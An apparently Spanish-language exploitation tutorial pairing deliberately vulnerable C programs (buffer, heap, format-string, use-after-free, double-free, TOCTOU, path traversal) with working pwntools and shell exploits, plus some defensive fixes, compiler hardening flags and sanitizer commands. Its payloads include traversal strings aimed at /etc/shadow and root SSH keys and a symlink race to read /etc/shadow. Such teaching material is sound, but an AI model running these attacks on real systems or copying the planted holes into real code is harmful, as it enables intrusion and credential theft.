// vuln_intoverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void process(int n, char *data) {
    // n controlado por usuario
    // Si n = 0x40000001: n * 4 = 0x100000004 → trunca a 4 en 32 bits
    int *buf = malloc(n * sizeof(int));   // malloc(4) — buffer diminuto
    if (!buf) { puts("malloc falló"); return; }

    // Pero escribe n enteros → heap overflow
    for (int i = 0; i < n; i++)
        buf[i] = i;                       // 💥 escribe mucho más allá del buffer

    // Corrupción de metadata del heap → arbitrary write
    free(buf);
}

int main(int argc, char **argv) {
    int n = atoi(argv[1]);
    process(n, argv[2]);
    return 0;
}

# exploit_intof.py
# El overflow corrompe el chunk header del siguiente bloque en el heap
# Técnica: house of force o fastbin dup según glibc version

import struct
from pwn import *

p = process(['./vuln_intoverflow', str(0x40000001), 'X'])

# n = 0x40000001 → malloc(4) → loop escribe 4GB de ints
# Corrompe el 'size' field del siguiente chunk
# Permite controlar qué devuelve el próximo malloc()

p.interactive()

# En 32 bits para ver el truncamiento más claramente
gcc -m32 -o vuln_intoverflow vuln_intoverflow.c -fno-stack-protector -no-pie

# Verificar con:
python3 -c "print(1073741825 * 4 % 2**32)"   # → 4

// Validar ANTES de multiplicar
if (n <= 0 || n > MAX_ALLOWED) { error(); return; }
if ((size_t)n > SIZE_MAX / sizeof(int)) { error(); return; }  // overflow check
int *buf = malloc((size_t)n * sizeof(int));

// vuln_obo.c
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buf[10];
    int i;
    // 💥 <= en vez de < → escribe buf[10] que no existe
    for (i = 0; i <= 10; i++)
        buf[i] = input[i];

    printf("Input: %s\n", buf);
}

// Variante con strcpy y null terminator:
void vulnerable2(char *src) {
    char dst[8];
    // strncpy NO agrega \0 si src tiene >= 8 chars
    strncpy(dst, src, 8);
    dst[8] = '\0';  // 💥 fuera del buffer por 1 byte
    puts(dst);
}

int main(int argc, char **argv) {
    vulnerable(argv[1]);
    return 0;
}

// Sobrescribir el byte 'size' del siguiente chunk en el heap
typedef struct {
    char name[8];
} Chunk;

void vuln_heap_obo(char *input) {
    Chunk *a = malloc(8);
    Chunk *b = malloc(8);

    // strlen puede devolver 8, entonces copia 9 bytes con \0
    // 💥 el \0 pisa el byte bajo del 'size' field de b
    memcpy(a->name, input, strlen(input) + 1);
}

# exploit_obo.py
# El byte extra sobrescribe el byte bajo de saved RBP
# Cuando la función retorna, RBP apunta a una dirección controlada
# Si el epilogo usa 'leave' (mov rsp, rbp; pop rbp), podemos controlar RSP

from pwn import *

p = process('./vuln_obo')

# 10 bytes de relleno + 1 byte que pisa saved RBP (byte bajo)
# Apuntamos RBP hacia una zona con nuestro shellcode o gadget
payload = b'A' * 10 + b'\x80'   # cambia byte bajo de RBP

p.sendline(payload)
p.interactive()

gcc -o vuln_obo vuln_obo.c -fno-stack-protector -no-pie -g
gdb vuln_obo
# (gdb) b vulnerable
# (gdb) run AAAAAAAAAA   # 10 As
# (gdb) x/20xb &buf      # inspeccionar memoria

// vuln_gets.c
#include <stdio.h>
#include <stdlib.h>

void win() {
    puts("Shell!");
    system("/bin/sh");
}

void vulnerable() {
    char buf[64];
    printf("Ingresá texto: ");
    gets(buf);   // 💥 sin límite, desborda stack trivialmente
    printf("Dijiste: %s\n", buf);
}

int main() {
    vulnerable();
    return 0;
}

# exploit_gets.py
from pwn import *

elf = ELF('./vuln_gets')
p   = process('./vuln_gets')

WIN  = elf.symbols['win']
# offset: 64 (buf) + 8 (saved rbp) = 72
# En algunos casos con alineación de stack: +8 más para ret2win

payload  = b'A' * 72
payload += p64(WIN)

p.sendlineafter(b'texto: ', payload)
p.interactive()

# -w suprime el warning de gets() (para que compile limpio como legacy)
gcc -o vuln_gets vuln_gets.c -fno-stack-protector -no-pie -w

# Encontrar offset exacto con pwndbg:
# pwndbg> cyclic 100
# pwndbg> run
# (pegar cyclic output cuando pide input)
# pwndbg> cyclic -l $rsp   (o $eip en 32bit)

// vuln_uninit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_password(int stored_hash) {
    int guess;   // ← sin inicializar, basura del stack

    // Dependiendo de qué había en el stack, puede ser 0, o coincidir
    printf("Tu 'guess' es: %d\n", guess);

    if (guess == stored_hash)
        return 1;   // gana si la basura coincide
    return 0;
}

// Ejemplo más explotable: struct en heap sin inicializar
typedef struct {
    int  is_admin;   // 0 = user, 1 = admin
    char name[56];
    void (*handler)();
} Session;

Session *create_session() {
    Session *s = malloc(sizeof(Session));
    // 💥 no se hace memset(s, 0, sizeof(Session))
    // is_admin y handler contienen lo que había antes en ese chunk
    strcpy(s->name, "guest");
    return s;
}

int main() {
    // Trick: alocar y liberar algo primero para "plantar" datos
    Session *poison = malloc(sizeof(Session));
    poison->is_admin = 1;
    poison->handler  = (void(*)()) system;
    free(poison);   // va a la freelist

    // create_session() obtiene el mismo chunk → datos no borrados
    Session *s = create_session();
    printf("is_admin = %d\n", s->is_admin);   // imprime 1

    if (s->is_admin) {
        puts("¡Acceso admin concedido!");
        s->handler();  // llama a system() con basura como arg — crash o exploit
    }
    return 0;
}

# exploit_uninit.py
# Técnica: "heap grooming" — controlar qué datos quedan en el chunk
# antes de que la víctima lo reutilice sin inicializar

from pwn import *

p = process('./vuln_uninit')

# No hace falta enviar nada especial:
# el programa en sí demuestra el bug al "plantar" datos
# En exploits reales, se controla la secuencia de alloc/free
# para que el chunk "contaminado" sea reutilizado

p.interactive()

# valgrind detecta uso de memoria no inicializada
valgrind --track-origins=yes ./vuln_uninit

# AddressSanitizer + MemorySanitizer
gcc -fsanitize=memory -fno-omit-frame-pointer -o vuln_uninit vuln_uninit.c

// vuln_nullptr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char data[32];
    void (*callback)();
} Buffer;

void safe_func()  { puts("función normal"); }
void evil_func()  { puts("PWNED"); system("/bin/sh"); }

int main(int argc, char **argv) {
    // malloc falla si el sistema está bajo memoria
    // o si se pide demasiado
    Buffer *b = malloc(atoi(argv[1]));

    // 💥 sin verificar si b == NULL
    b->callback = safe_func;
    strcpy(b->data, argv[2]);
    b->callback();    // si b == NULL → dereference de dirección 0x18

    return 0;
}

# exploit_nullptr.py
# En kernels viejos (< 3.5) era posible mapear la página NULL
# En kernels modernos: vm.mmap_min_addr = 65536 lo previene
# Igual útil en embedded y kernels sin esta protección

import ctypes
import struct

# En el contexto de un kernel exploit antiguo:
# 1. mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS, -1, 0)
# 2. Escribir shellcode en dirección 0
# 3. El null deref salta a nuestro shellcode

# Demostración conceptual:
shellcode_addr = 0x0000000000000018  # offset del campo callback en Buffer
print(f"El programa saltará a: {hex(shellcode_addr)}")
print("En kernel viejo: mapear NULL page + escribir shellcode ahí")

gcc -o vuln_nullptr vuln_nullptr.c -no-pie

# Forzar fallo de malloc con valor gigante:
./vuln_nullptr 999999999999 "test"
# → SIGSEGV en b->callback = safe_func

# Ver el crash:
dmesg | tail -5

// vuln_dangling.c
#include <stdio.h>
#include <string.h>

int* get_value() {
    int x = 42;
    return &x;    // 💥 x muere al retornar, pero devolvemos su dirección
}

// Versión más explotable:
char* get_buffer() {
    char buf[64];
    printf("Dame input para buf: ");
    fgets(buf, 64, stdin);
    buf[strcspn(buf, "\n")] = 0;
    return buf;   // 💥 dangling pointer al stack frame de get_buffer
}

void overwrite_stack() {
    // Esta función usa el mismo espacio de stack que get_buffer usó
    // Sus variables locales sobreescribirán lo que había en buf
    char local[64];
    memset(local, 0x41, 64);  // llena de 'A's el stack
    // (no hace nada con el retorno, solo ocupa el stack)
}

int main() {
    char *p  = get_buffer();       // p apunta a buf (ya muerto)
    overwrite_stack();              // sobreescribe esa zona
    printf("Valor: %s\n", p);     // 💥 imprime lo que puso overwrite_stack
    return 0;
}

# exploit_dangling.py
# El atacante controla lo que se escribe en la zona
# que el dangling pointer va a leer/ejecutar

from pwn import *

p = process('./vuln_dangling')

# Enviamos input a get_buffer()
# Luego overwrite_stack() sobreescribe esa zona
# printf lee datos controlados por nosotros

WIN = 0x401196  # si hubiera una función win()
# En este ejemplo simple solo observamos la corrupción:
p.sendline(b'SECRETO')
print(p.recvall())

gcc -o vuln_dangling vuln_dangling.c -O0   # -O0 para que no optimize el dangling
# El compilador moderno con -Wall nos avisa:
gcc -Wall -o vuln_dangling vuln_dangling.c
# warning: function returns address of local variable

// vuln_heapof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char name[32];
    int  is_admin;
    void (*greet)();
} User;

void greet_user()  { puts("Hola, usuario normal."); }
void greet_admin() { puts("Hola, ADMIN."); system("/bin/sh"); }

int main(int argc, char **argv) {
    User *u1 = malloc(sizeof(User));
    User *u2 = malloc(sizeof(User));

    u1->is_admin = 0;
    u1->greet    = greet_user;
    u2->is_admin = 0;
    u2->greet    = greet_user;

    // 💥 sin límite: si argv[1] > 32 bytes, pisamos is_admin y greet de u1
    strcpy(u1->name, argv[1]);

    printf("u1->is_admin = %d\n", u1->is_admin);
    u1->greet();

    return 0;
}

# exploit_heapof.py
from pwn import *

elf = ELF('./vuln_heapof')
p   = process('./vuln_heapof')

GREET_ADMIN = elf.symbols['greet_admin']

# Layout de User:
#   name[32]     offset 0
#   is_admin     offset 32
#   greet()      offset 40 (con padding de alineación)

payload  = b'A' * 32           # llenar name
payload += p32(1)              # is_admin = 1
payload += b'\x00' * 4        # padding
payload += p64(GREET_ADMIN)   # sobreescribir puntero greet

p = process(['./vuln_heapof', payload.decode('latin-1')])
p.interactive()

gcc -o vuln_heapof vuln_heapof.c -fno-stack-protector -no-pie
# Inspeccionar layout:
gdb vuln_heapof
# (gdb) b main
# (gdb) run AAAA
# (gdb) p sizeof(User)
# (gdb) p &u1->name, &u1->is_admin, &u1->greet

// vuln_recursion.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

// Cada llamada usa ~N bytes de stack (variables locales)
long fib(long n) {
    char padding[1024];   // fuerza consumo de stack rápido
    padding[0] = n;       // evitar que optimizer elimine padding

    if (n <= 0) return 0;
    return fib(n-1) + fib(n-2);  // sin memoización → exponencial + stack overflow
}

// Con signal handler explotable:
void (*sigusr_handler)() = NULL;

void sighandler(int sig) {
    if (sigusr_handler)
        sigusr_handler();   // 💥 si logramos sobreescribir sigusr_handler
}

int main(int argc, char **argv) {
    signal(SIGSEGV, sighandler);
    long n = atol(argv[1]);
    printf("%ld\n", fib(n));   // crash con n grande
    return 0;
}

# exploit_recursion.py
# La recursión profunda sobrescribe el stack hacia las variables globales
# (stack grows down, si hay un buffer en el stack podemos alcanzar el heap/BSS)
# Técnica más directa: controlar el signal handler via otra vuln

from pwn import *

p = process(['./vuln_recursion', '100000'])
# El proceso crashea con SIGSEGV
# Si podemos sobreescribir sigusr_handler antes del crash → RIP control

p.wait()
print("Exit code:", p.poll())

gcc -o vuln_recursion vuln_recursion.c
ulimit -s          # ver límite de stack (default ~8MB)
ulimit -s unlimited  # para probar con valores aún más grandes
./vuln_recursion 10000

// vuln_toctou.c  (debe compilarse y ejecutarse como setuid root)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {
    if (argc < 2) { puts("Uso: prog <archivo>"); return 1; }

    // CHECK: verificar que el usuario real puede leer el archivo
    if (access(argv[1], R_OK) != 0) {
        perror("Acceso denegado");
        return 1;
    }

    // 💥 VENTANA: entre access() y open() el atacante puede
    //    reemplazar argv[1] con un symlink a /etc/shadow

    // USE: abrir y mostrar el archivo (con privilegios root del setuid)
    FILE *f = fopen(argv[1], "r");
    if (!f) { perror("fopen"); return 1; }

    char buf[256];
    while (fgets(buf, sizeof(buf), f))
        printf("%s", buf);

    fclose(f);
    return 0;
}

#!/bin/bash
# exploit_toctou.sh
# Requiere que vuln_toctou sea setuid root

# Preparar archivo de prueba (que pasa el access check)
echo "archivo inofensivo" > /tmp/myfile

# En un terminal, correr el programa en loop con nuestro archivo
while true; do
    ./vuln_toctou /tmp/myfile 2>/dev/null
done &

# En otro "hilo" (loop), alternar el symlink durante la ventana TOCTOU
while true; do
    # Symlink apunta al archivo de usuario (pasa el access() check)
    ln -sf /tmp/myfile /tmp/target

    # Muy rápido, cambiar a /etc/shadow (lo usa el fopen() privilegiado)
    ln -sf /etc/shadow /tmp/target
done

// exploit_toctou_fast.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main() {
    // Loop de alta velocidad alternando el symlink
    // Para ganar la race con más probabilidad que un script bash
    while (1) {
        symlink("/tmp/safe_file", "/tmp/race_target");
        // (el programa verifica aquí — pasa)
        unlink("/tmp/race_target");
        symlink("/etc/shadow", "/tmp/race_target");
        // (el programa usa aquí — lee /etc/shadow)
        unlink("/tmp/race_target");
    }
    return 0;
}

gcc -o vuln_toctou vuln_toctou.c
sudo chown root vuln_toctou
sudo chmod u+s vuln_toctou    # setuid bit

gcc -o exploit_toctou exploit_toctou_fast.c

// vuln_signmismatch.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX_SIZE 256

void copy_data(int user_len, char *user_data) {
    char buf[MAX_SIZE];

    // 💥 user_len es int (puede ser negativo)
    // La comparación int vs size_t promueve user_len a unsigned
    // Si user_len = -1 → como unsigned = 0xFFFFFFFF → pasa el check!
    if (user_len > MAX_SIZE) {
        puts("Demasiado grande");
        return;
    }

    // memcpy recibe size_t — si user_len era -1, copia 0xFFFFFFFF bytes 💥
    memcpy(buf, user_data, user_len);
    buf[user_len] = '\0';
    puts(buf);
}

int main(int argc, char **argv) {
    int len  = atoi(argv[1]);
    copy_data(len, argv[2]);
    return 0;
}

# exploit_signmismatch.py
from pwn import *
import ctypes

p = process(['./vuln_signmismatch',
             '-1',          # user_len = -1: pasa check, copia 0xFFFFFFFF bytes
             'A' * 300])   # data que nos deja controlar con BOF clásico

# -1 como int con signo pasa el if (user_len > MAX_SIZE)
# pero memcpy(-1) = memcpy(0xFFFFFFFFFFFFFFFF) → heap/stack corruption masiva

p.interactive()

// Otro patrón: índice negativo como array access
int arr[10];
int idx = atoi(input);  // puede ser negativo

// Sin chequear idx >= 0:
if (idx < 10)            // pasa si idx = -1
    arr[idx] = value;    // arr[-1] → escribe antes del array

gcc -o vuln_signmismatch vuln_signmismatch.c -fno-stack-protector -no-pie
./vuln_signmismatch -1 $(python3 -c "print('A'*300)")

// vuln_oobread.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// El bug de Heartbleed (CVE-2014-0160) era esencialmente esto:
int send_data(char *payload, int payload_len, int claimed_len) {
    char response[1024];

    // 💥 claimed_len puede ser mayor que payload_len
    // Copiamos más de lo que el payload contiene → leak de memoria adyacente
    memcpy(response, payload, claimed_len);

    // "Enviamos" la respuesta (puede contener datos de otros clientes)
    printf("Respuesta (%d bytes): ", claimed_len);
    for (int i = 0; i < claimed_len; i++)
        printf("%02x ", (unsigned char)response[i]);
    printf("\n");

    return claimed_len;
}

int main() {
    char secret[] = "CLAVE_PRIVADA_SUPERSECRETA";  // en stack, adyacente
    char payload[] = "ping";
    int  real_len  = strlen(payload);

    // Atacante envía claimed_len = 500 pero payload real es 4 bytes
    send_data(payload, real_len, 500);   // 💥 leak de 496 bytes de stack

    return 0;
}

# exploit_oobread.py
# El OOB read nos da:
# 1. Dirección de la libc → bypass ASLR
# 2. Stack canary → bypass stack protector
# 3. Datos sensibles → info disclosure

from pwn import *

p = process('./vuln_oobread')

output = p.recvall()

# Parsear los bytes heakeados y buscar patrones:
# - Punteros de 64 bits suelen tener forma 0x00007f...
# - Canary suele terminar en \x00

leaked_bytes = bytes.fromhex(''.join(output.decode().split()[1:]))

for i in range(0, len(leaked_bytes)-7, 8):
    val = int.from_bytes(leaked_bytes[i:i+8], 'little')
    if 0x00007f0000000000 < val < 0x00007fffffffffff:
        print(f"Posible puntero de libc/stack en offset {i}: {hex(val)}")

gcc -o vuln_oobread vuln_oobread.c
./vuln_oobread
# Los bytes en hex más allá de "ping" son leaks del stack

// vuln_noterm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int login(char *username, char *password) {
    char stored_pass[] = "s3cr3t";
    char user_buf[8];

    // strncpy: si username >= 8 chars, NO agrega \0
    strncpy(user_buf, username, 8);

    // user_buf no tiene \0 → strcmp lee hasta el próximo \0 en stack
    // que podría ser el inicio de stored_pass!
    if (strcmp(user_buf, stored_pass) == 0) {
        puts("¡Login exitoso!");
        return 1;
    }
    puts("Login fallido");
    return 0;
}

int main(int argc, char **argv) {
    login(argv[1], argv[2]);
    return 0;
}

# exploit_noterm.py
# Si user_buf[8] no tiene \0, strcmp sigue leyendo el stack
# El stack tiene: user_buf[8] | stored_pass[]
# Si llenamos user_buf con exactamente 8 bytes, el strcmp compara:
#   user_buf + (bytes del stack hasta el próximo \0)
# vs
#   stored_pass = "s3cr3t"
# Podemos hacer que coincida si el byte siguiente en stack es el inicio de stored_pass

from pwn import *

# user_buf[8] sin \0, seguido de lo que esté en stack
# El strcmp va a comparar nuestro input + basura vs stored_pass
# En la práctica: probar inputs de exactamente 8 bytes para ver el comportamiento

for c in range(256):
    candidate = b'A' * 7 + bytes([c])  # 8 bytes, sin \0
    p = process(['./vuln_noterm', candidate.decode('latin-1'), 'x'])
    out = p.recvall()
    if b'exitoso' in out:
        print(f"Byte mágico: {hex(c)} → {candidate}")
        break
    p.close()

gcc -o vuln_noterm vuln_noterm.c -fno-stack-protector
./vuln_noterm "AAAAAAAA" "cualquier"   # 8 As sin \0

// vuln_typeconf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    int  type;     // 0 = user input, 1 = system command
    char data[56];
} Message;

typedef struct {
    int  type;
    int  privilege_level;   // 0=user, 9=root
    char cmd[52];
} Command;

void process(void *raw, int size) {
    Message *m = (Message *)raw;

    if (m->type == 0) {
        printf("Mensaje de usuario: %s\n", m->data);
    } else if (m->type == 1) {
        // 💥 cast a Command — asume que raw ES un Command
        Command *c = (Command *)raw;
        if (c->privilege_level == 9) {
            printf("Ejecutando: %s\n", c->cmd);
            system(c->cmd);    // executa comando con privilegios
        }
    }
}

int main() {
    // Usuario malicioso construye un Message que parece un Command:
    char raw[64];
    memset(raw, 0, 64);

    // type=1 → process lo tratará como Command
    *(int*)raw = 1;

    // privilege_level = 9 (offset 4)
    *(int*)(raw + 4) = 9;

    // cmd = "/bin/sh" (offset 8)
    strcpy(raw + 8, "/bin/sh");

    process(raw, 64);
    return 0;
}

# exploit_typeconf.py
import struct

raw = bytearray(64)

# type = 1 (offset 0, int)
struct.pack_into('<i', raw, 0, 1)

# privilege_level = 9 (offset 4, int)
struct.pack_into('<i', raw, 4, 9)

# cmd = "/bin/sh" (offset 8)
raw[8:15] = b'/bin/sh'

print(raw.hex())
# Enviar este buffer al proceso vulnerable

gcc -o vuln_typeconf vuln_typeconf.c -no-pie
./vuln_typeconf   # el main ya construye el exploit internamente

// vuln_signal.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>

char *global_buf = NULL;

void sigint_handler(int sig) {
    // 💥 printf y free NO son async-signal-safe
    printf("Señal recibida!\n");    // corrompe si interrumpe otro printf
    free(global_buf);               // corrompe si interrumpe malloc/free
    global_buf = malloc(64);        // double-free efectivo si timing es malo
    strcpy(global_buf, "reseteado");
}

int main() {
    signal(SIGINT, sigint_handler);

    while (1) {
        global_buf = malloc(64);
        // Si SIGINT llega entre el malloc y el free → double free en handler
        strcpy(global_buf, "datos importantes");
        printf("Processing: %s\n", global_buf);
        free(global_buf);
        global_buf = NULL;
    }
    return 0;
}

# exploit_signal.sh
# Bombardear el proceso con señales para ganar la race

PID=$(./vuln_signal &)
sleep 0.1

# Enviar SIGINT muy rápido para ganar la race
for i in $(seq 1 1000); do
    kill -INT $PID 2>/dev/null
done

wait $PID

// Solo estas funciones son async-signal-safe:
// write(), _exit(), signal(), kill(), sem_post()
// NUNCA: printf, malloc, free, exit, fopen en signal handlers

volatile sig_atomic_t got_signal = 0;

void safe_handler(int sig) {
    got_signal = 1;   // solo setear flag, procesar en el loop principal
}

// vuln_traversal.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BASE_DIR "/var/www/files/"

void serve_file(char *filename) {
    char path[256];

    // 💥 sin sanitizar '../' en filename
    snprintf(path, sizeof(path), "%s%s", BASE_DIR, filename);

    printf("Sirviendo: %s\n", path);

    FILE *f = fopen(path, "r");
    if (!f) { perror("fopen"); return; }

    char buf[1024];
    while (fgets(buf, sizeof(buf), f))
        printf("%s", buf);

    fclose(f);
}

int main(int argc, char **argv) {
    serve_file(argv[1]);   // argv[1] controlado por atacante
    return 0;
}

# exploit_traversal.sh

# Leer /etc/passwd
./vuln_traversal "../../etc/passwd"
# → /var/www/files/../../etc/passwd = /etc/passwd ✓

# Leer /etc/shadow (si setuid root)
./vuln_traversal "../../etc/shadow"

# Leer clave SSH
./vuln_traversal "../../../root/.ssh/id_rsa"

# Leer código fuente de la app
./vuln_traversal "../../var/www/html/config.php"

# exploit_traversal.py
# Algunos filtros bloquean '../' en texto plano
# Bypass con encoding alternativo:

traversals = [
    "../../etc/passwd",
    "..%2F..%2Fetc%2Fpasswd",          # URL encode
    "..%252F..%252Fetc%252Fpasswd",     # doble encode
    "....//....//etc/passwd",           # bypass de replace('../', '')
    "..\\..\\etc\\passwd",             # Windows style
    "%2e%2e%2f%2e%2e%2fetc%2fpasswd",  # hex encode
]

for t in traversals:
    print(f"Probando: {t}")
    # subprocess.run(['./vuln_traversal', t])

// Verificar con realpath() y que empiece con BASE_DIR
char resolved[PATH_MAX];
realpath(path, resolved);
if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
    puts("Path inválido");
    return;
}

# Análisis estático
cppcheck --enable=all vuln.c
clang --analyze vuln.c
semgrep --config=p/c vuln.c

# Análisis dinámico (sanitizers)
gcc -fsanitize=address,undefined -o vuln vuln.c      # AddressSanitizer + UBSan
gcc -fsanitize=memory -o vuln vuln.c                  # MemorySanitizer
gcc -fsanitize=thread -o vuln vuln.c                  # ThreadSanitizer (races)

# Fuzzing
afl-fuzz -i inputs/ -o findings/ -- ./vuln @@
libFuzzer: clang -fsanitize=fuzzer,address -o vuln_fuzz vuln.c

# Debugging de heap
valgrind --leak-check=full --track-origins=yes ./vuln

gcc vuln.c -o binario \
    -fstack-protector-strong \   # stack canary
    -fPIE -pie \                 # PIE (ASLR)
    -D_FORTIFY_SOURCE=2 \        # fortify de funciones de string
    -Wl,-z,relro \               # GOT de solo lectura (partial RELRO)
    -Wl,-z,now \                 # GOT cargado al inicio (full RELRO)
    -Wl,-z,noexecstack \         # stack no ejecutable (NX)
    -Wall -Wextra                # warnings

# Instalar pwntools (la navaja suiza del exploitation)
pip install pwntools

# GDB con pwndbg para debugging
sudo apt install gdb
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

# Verificar protecciones de un binario
checksec --file=./vuln_bof

// vuln_bof.c
#include <stdio.h>
#include <string.h>

void secret() {
    printf("¡Ganaste! RIP redirigido\n");
    system("/bin/sh");
}

void vulnerable(char *input) {
    char buf[64];         // buffer fijo
    strcpy(buf, input);   // ← SIN verificar largo
    printf("Hola: %s\n", buf);
}

int main(int argc, char **argv) {
    vulnerable(argv[1]);
    return 0;
}

# exploit_bof.py
import subprocess
import struct

# 1. Buscar offset con pattern
#    gdb: pattern create 100
#    run $(python3 -c "print('Aa0A...')")
#    pattern offset $rip

OFFSET = 72   # 64 buf + 8 saved rbp

# 2. Dirección de secret()
#    gdb: p secret → 0x401136
SECRET_ADDR = 0x401136

payload = b"A" * OFFSET
payload += struct.pack("<Q", SECRET_ADDR)

print(payload.decode("latin-1"))

gcc -o vuln_bof vuln_bof.c -fno-stack-protector -no-pie -z execstack
./vuln_bof $(python3 exploit_bof.py)
gdb vuln_bof   # para encontrar offset y dirección

// vuln_fmtstr.c
#include <stdio.h>

int target = 0;

int main(int argc, char **argv) {
    printf("target está en: %p\n", &target);

    // ← VULNERABLE: el user controla el format string
    printf(argv[1]);

    printf("\ntarget = %d\n", target);

    if (target == 0x1337) {
        printf("¡Flag!\n");
        system("/bin/sh");
    }
    return 0;
}

# exploit_fmtstr.py
import subprocess
from struct import pack

# Paso 1: leer memoria con %p
# ./vuln "AAAA %p %p %p %p %p %p"
# Encontrar en qué posición aparece 0x41414141
# → esa es la posición directa: %N$

TARGET = 0x404048  # dirección de 'target'
VALUE  = 0x1337   # valor a escribir (4919)

# %N$n escribe N bytes impresos en la dirección
# que está en el argumento N del stack

# Usamos pwntools para facilitar:
# from pwn import fmtstr_payload
# payload = fmtstr_payload(6, {TARGET: VALUE})

# Manual:
addr = pack("<Q", TARGET)
# Imprimir (VALUE - 8) caracteres, luego %6$n
payload = addr + b"%4903c%6$n"
print(payload)

./vuln "%p %p %p %p"
./vuln "%6$p"    # leer arg 6
./vuln "%s"      # leer como string

gcc -o vuln_fmtstr vuln_fmtstr.c -no-pie
./vuln_fmtstr "AAAA %p %p %p %p %p %p"   # encontrar posición
./vuln_fmtstr $(python3 exploit_fmtstr.py)
pip install pwntools                       # librería que facilita todo

// vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    int  role;         // 0=user, 1=admin
    char name[24];
    void (*print)();   // puntero a función
} User;

void user_print()  { puts("soy user"); }
void admin_print() { puts("soy ADMIN");
                     system("/bin/sh"); }

int main() {
    User *u = malloc(sizeof(User));
    u->role  = 0;
    u->print = user_print;

    free(u);           // ← liberado
    // u sigue siendo accesible → UAF

    // Atacante controla esta asignación:
    char *data = malloc(sizeof(User));
    fgets(data, sizeof(User), stdin);

    u->print();  // ← salta donde dijimos
    return 0;
}

# exploit_uaf.py
import struct

# struct User layout (en little-endian x86-64):
# offset 0:  role (int, 4 bytes)
# offset 4:  padding (4 bytes)
# offset 8:  name (24 bytes)
# offset 32: print ptr (8 bytes)

# gdb: p admin_print → 0x401196
ADMIN_FUNC = 0x401196

payload  = struct.pack("<i", 1)       # role=1
payload += b"\x00" * 4               # padding
payload += b"hacked\x00".ljust(24)   # name
payload += struct.pack("<Q", ADMIN_FUNC)

# El nuevo malloc() reutiliza el mismo chunk
# Escribimos admin_print en el offset del ptr
print(payload.decode("latin-1"))

gcc -o vuln_uaf vuln_uaf.c && python3 exploit_uaf.py | ./vuln_uaf

// vuln_doublefree.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char *a = malloc(32);
    char *b = malloc(32);

    strcpy(a, "dato sensible");

    free(a);
    free(b);
    free(a);  // ← DOUBLE FREE: 'a' liberado 2 veces

    // El heap ahora está corrupto
    // tcache: a→b→a (ciclo!)

    char *x = malloc(32);  // x == a
    char *y = malloc(32);  // y == b
    char *z = malloc(32);  // z == a ← otra vez!

    // x y z apuntan a la misma memoria
    printf("%p %p %p\n", x, y, z);
    fgets(x, 32, stdin);   // controla z también
    printf("%s\n", z);
    return 0;
}

# exploit_df.py (tcache poisoning en glibc 2.31+)
import struct

# Double free crea un ciclo en tcache:
# freelist: a → b → a → b → ...
# Se puede hacer malloc de una dirección arbitraria

# En versiones modernas glibc:
# - Verifican tcache->key para detectar double free
# - Hay que corromper ese campo primero

# Técnica con UAF previo para borrar key:
#   a = malloc(32); free(a)
#   a[8] = 0  # borra tcache key
#   free(a)   # ahora sí, double free exitoso

TARGET_ADDR = 0x404060  # dirección a alloc

# Al hacer malloc() una 3ra vez, obtenemos ptr
# que apunta a TARGET_ADDR
# → escritura arbitraria de heap

payload = struct.pack("<Q", TARGET_ADDR)
print("Chunk 1 (x):", payload.hex())

gcc -o vuln_df vuln_doublefree.c

from pwn import *

p = process('./vuln_bof')        # o remote('host', port)
elf = ELF('./vuln_bof')

# Encontrar dirección de una función automáticamente
secret_addr = elf.symbols['secret']

# Generar payload con el offset correcto
payload = flat({72: secret_addr})

p.sendline(payload)
p.interactive()   # obtener shell interactiva

gcc -g -fsanitize=address,undefined -o demo demo.c

#include <stdlib.h>
int main() {
    int *p = malloc(sizeof(int));
    *p = 42;
    free(p);
    free(p);   // 💥 segundo free
}

#include <string.h>
int main() {
    int admin = 0;
    char buf[16];
    strcpy(buf, "AAAAAAAAAAAAAAAA");  // 16 A's + null
    if (admin) printf("sos admin\n");
}

#include <stdio.h>
int main(int argc, char **argv) {
    printf(argv[1]);   // 💥 nunca hagas esto
}

#include <stdlib.h>
#include <stdio.h>
int main() {
    int *p = malloc(sizeof(int));
    *p = 100;
    free(p);
    printf("%d\n", *p);  // 💥 UAF
}

int n = read_int();
int *p = malloc(n * sizeof(int));   // n=1073741824 → overflow → malloc chiquito
for (int i = 0; i < n; i++) p[i] = i;  // 💥 escribe fuera

char buf[10];
for (int i = 0; i <= 10; i++)   // 💥 < en vez de <=
    buf[i] = 'A';

char buf[64];
gets(buf);   // 💥 removido en C11 pero todavía hay código con esto

int pwd_check(int *stored) {
    int guess;          // sin inicializar
    if (guess == *stored) return 1;  // gana 1 de cada 256
    return 0;
}

int *p = malloc(999999999);  // falla → p = NULL
*p = 1;                       // 💥 SIGSEGV

int* foo() {
    int x = 42;
    return &x;   // 💥 x muere al return
}
int main() {
    int *p = foo();
    printf("%d\n", *p);  // basura o crash
}

gcc -g -no-pie -o exploit exploit.c   # no asan, no PIE

// exploit1.c — visualizar el bug
#include <stdlib.h>
#include <stdio.h>

int main() {
    int *a = malloc(sizeof(int));
    *a = 42;
    printf("a = %p, *a = %d\n", a, *a);

    free(a);
    free(a);   // 💥 double free — a queda en tcache dos veces

    int *b = malloc(sizeof(int));
    int *c = malloc(sizeof(int));
    int *d = malloc(sizeof(int));

    printf("b = %p\n", b);
    printf("c = %p\n", c);
    printf("d = %p\n", d);
